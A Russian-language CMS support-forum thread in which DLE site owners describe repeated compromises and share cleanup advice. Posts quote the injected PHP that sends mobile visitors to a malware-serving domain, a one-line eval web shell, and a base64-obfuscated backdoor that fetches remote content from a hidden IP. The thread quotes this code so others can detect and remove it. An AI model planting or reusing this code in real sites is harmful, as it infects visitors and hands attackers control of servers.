Перейти к публикации

Рекомендованные сообщения

Уже 2 недели борюсь с заливкой шелла. Каждые 3 дня кто-то вносит

if ($iphone || $android || $palmpre || $ipod || $berry === true) {

header('Location: http://statuses.ws/');

Такой код и главное в одни и те же файлы. engine,init,dbconfig

Ссылка на сообщение
Поделиться на других сайтах

Предлагаете заняться гаданием? Прежде чем давать вам какие либо советы, нужно сначала хотя бы увидеть сайт.

Если ваша тема начинается с вопроса и вам нужна какая либо помощь, то в самой теме в обязательном порядке вы должны указывать ссылку на ваш сайт. Если ваш сайт находится в локальной сети и вы не можете предоставить ссылку, или вы не хотите публиковать открытой ссылки на ваш сайт, то отправляйте персональное сообщение с вопросом в службу поддержки непосредственно с сайта http://dle-news.ru/, вам ответят на ваш вопрос в персональном порядке, в случае если пользуетесь платной версией скрипта и обладаете лицензией на скрипт. Если вы пользуетесь демоверсией, то вам необходимо разместить сайт в сети интернет, и только потом обращаться за помощью. По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается. Если вы не указали сайт, то ваша тема будет закрыта, а аккаунт на форуме заблокирован.

Ссылка на сообщение
Поделиться на других сайтах

Такая же проблема сегодня проявилась. Ровно в 6:00 были произведены изменения в следующих файлах: config.php dbconfig.php engine.php index.php init.php - с добавлением вышеописанной строчки.

Полный код выглядит так:


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");

$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");

$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");

$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {

	header('Location: http://statuses.ws/');

}

Патч последний для 9.7 от 6 числа не был установлен. Сегодня поставили, возможно из-за этого.

Сейчас выполняем работающий дифф со снимком бэкапа фс и анализируем логи. Результаты вышлем разработчикам.

Проявлялось это естественно в момент посещения сайта с мобильного устройства. Под Андройдом при посещении сайта, автоматически загружался вредоносный файл browser_update.apk

Изменено пользователем bsdtar
Ссылка на сообщение
Поделиться на других сайтах

А как вы заметили этот код?

Советую вам проверить сайт на шелл. У меня помимо изменения, еще и шелл залили.

так же как проверить сайт на наличие шелла?

Ссылка на сообщение
Поделиться на других сайтах

Simur_m, антивирусом, например. Или сравнив файлы с резервной копией

  • Поддерживаю 1
Ссылка на сообщение
Поделиться на других сайтах

vip-moto, не поможет это :)

Вот простой пример, как на стороннем сайте можно использовать php-shell и Вы не сможете его найти:

if(isset($_REQUEST['zeos'])) eval(stripslashes($_REQUEST['zeos']));

Изменено пользователем ZEOS
Ссылка на сообщение
Поделиться на других сайтах

vip-moto, не поможет это :)

Вот простой пример, как на стороннем сайте можно использовать php-shell и Вы не сможете его найти:

if(isset($_REQUEST['zeos'])) eval(stripslashes($_REQUEST['zeos']));

для этого есть поиск по файлам))

например в чистом виде eval встречается в файлах:

* без учёта js файлов

/engine

	92:preview.php

/engine/ajax

	191:addcomments.php

	204:addcomments.php

	214:addcomments.php

	409:editnews.php

/engine/editor

	42:shortsite.php

	49:shortnews.php

	42:static.php

/engine/modules

	278:antibot.php

/engine/classes

	68:download.class.php

/engine/inc/include

	130:inserttag.php

	152:inserttag.php

	175:inserttag.php

	197:inserttag.php

	213:inserttag.php

	229:inserttag.php

	245:inserttag.php

	273:inserttag.php

	308:inserttag.php

	388:inserttag.php

	411:inserttag.php

	11:init.php

/engine/classes/min/lib

	190:JSMinPlus.php

	1035:FirePHP.php

	119:Minify.php

/engine/classes/min/lib/HTTP

	107:ConditionalGet.php

/engine/editor/jscripts/tiny_mce/plugins/spellchecker

	16:rpc.php

если в других проявился значит шел :)

Изменено пользователем MSW
Ссылка на сообщение
Поделиться на других сайтах

MSW, зачем в таком случае прописывать эту строчку в другие файлы? Можно прописать в один из файлов, которые Вы указали :)

И единственный eval для php, который есть в DLE это в файле /engine/inc/include/init.php (все остальные это для JS)

  • Поддерживаю 2
Ссылка на сообщение
Поделиться на других сайтах

MSW, зачем в таком случае прописывать эту строчку в другие файлы? Можно прописать в один из файлов, которые Вы указали :)

И единственный eval для php, который есть в DLE это в файле /engine/inc/include/init.php (все остальные это для JS)

я просто показал список всего где встречается *eval*

и если вписать его в любой из файлов из списка то появится ещё одна строка - в списке номер строки и название файла :)

Ссылка на сообщение
Поделиться на других сайтах

Кроме eval Вам придётся еще много чего искать таким образом :)

  • Поддерживаю 1
Ссылка на сообщение
Поделиться на других сайтах

Аналогично.. Переустановил двиг, поменял все пароли к БД, ужесточил права доступа к папкам. Пока вроде тихо, но как понял - не поможет

Изменено пользователем planeta123
Ссылка на сообщение
Поделиться на других сайтах

Та же гадость попала. Удалить пришлось этот кусок кода из config.php и из dbconfig.php - и поставить им запрет на запись.

Вроде бы пока чисто.

Ссылка на сообщение
Поделиться на других сайтах

Тоже самое произошло

А у кого на каких версиях занесли?

Изменено пользователем dampel
Ссылка на сообщение
Поделиться на других сайтах

А у кого на каких версиях занесли?

На любой версии это может произойти.

ставьте все патчи безопасности, если еще не ставили http://dle-news.ru/bags/ восстанавливайте все оригинальные файлы скрипта. Проверяйте чтобы отсутствовали на сервере посторонние скрипты или сторонние модули.

Обновляйте все серверное ПО на актуальные версии, в первую очередь phpMyAdmin

Также возможно также были украдены доступы к серверу. Как воруются доступы и какие меры предпринять вы можете прочитать в темах на форуме

http://forum.dle-new...ndpost&p=175979

http://forum.dle-new...32928&hl=iframe

Там подробно описано как могут вороваться FTP доступы и как от этого защитится. Проверяйте свой компьютер на вирусы, меняйте все пароли, в том числе и по FTP и к БД. Установите ограничение по IP на доступ по FTP.

Ссылка на сообщение
Поделиться на других сайтах

Есть решение?

Поскольку однозначного решения нет, то напишу "отсебятены"

Симптомы: с мобильных устройств, вместо www.sait.ru открывается "...statuses.ws/..." с вытекающими последствиями.

Рекомендуемые действия:

1) ищем файлы с кодом

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");

$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");

$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");

$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");[/size][/color][/font]

[font="Lucida Sans Unicode, Lucida Grande, sans-serif"][color="#666666"][size=3]if ($iphone || $android || $palmpre || $ipod || $berry === true) {

header('Location: http://statuses.ws/');

чистим... 2) меняем пароли на ФТП + база 3) ставим патч безопасности http://dle-news.ru/b...97-i-nizhe.html 4) дополнительно ищем и удаляем код

function showall($id) {

$id = intval($id);

$rtn = $id + date("j");

return $rtn;

}

function sql_safe($in) {

if (showall(64) < 1024) {

$rtn = base64_decode($in);

return $rtn;

}

}

function collectnews($newsid) {

if (date("j") - $newsid > 320 ) {

  $rtn = false;

} else {

$get = sql_safe("aHR0cDovLzE5NS4xODkuMjI2LjM2L2dldF9hcGkucGhw")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);

if (!isset($_COOKIE[sql_safe("ZGxlX3Bhc3N3b3Jk")])) {

echo @file_get_contents($get);

}

}

}

Скорее всего это будет в .../engine/data/config.php

После этого, надеемся на удачу или в будущем ждем более однозначное решение проблемы.

Изменено пользователем papina
Ссылка на сообщение
Поделиться на других сайтах

Не помогают вышеописанные действия.

Заливают каждые 3 дня. Сегодня 12 число и снова залили только что. Все патчи применены.

Пароли меняли уже к чему только можно.

В engine/data/config.php


$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");

$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");

$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");

$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {

    header('Location: http://statuses.ws/');

}

тот же код и в dbconfig.php

Ссылка на сообщение
Поделиться на других сайтах
Гость
Эта тема закрыта для публикации сообщений.
×
×
  • Создать...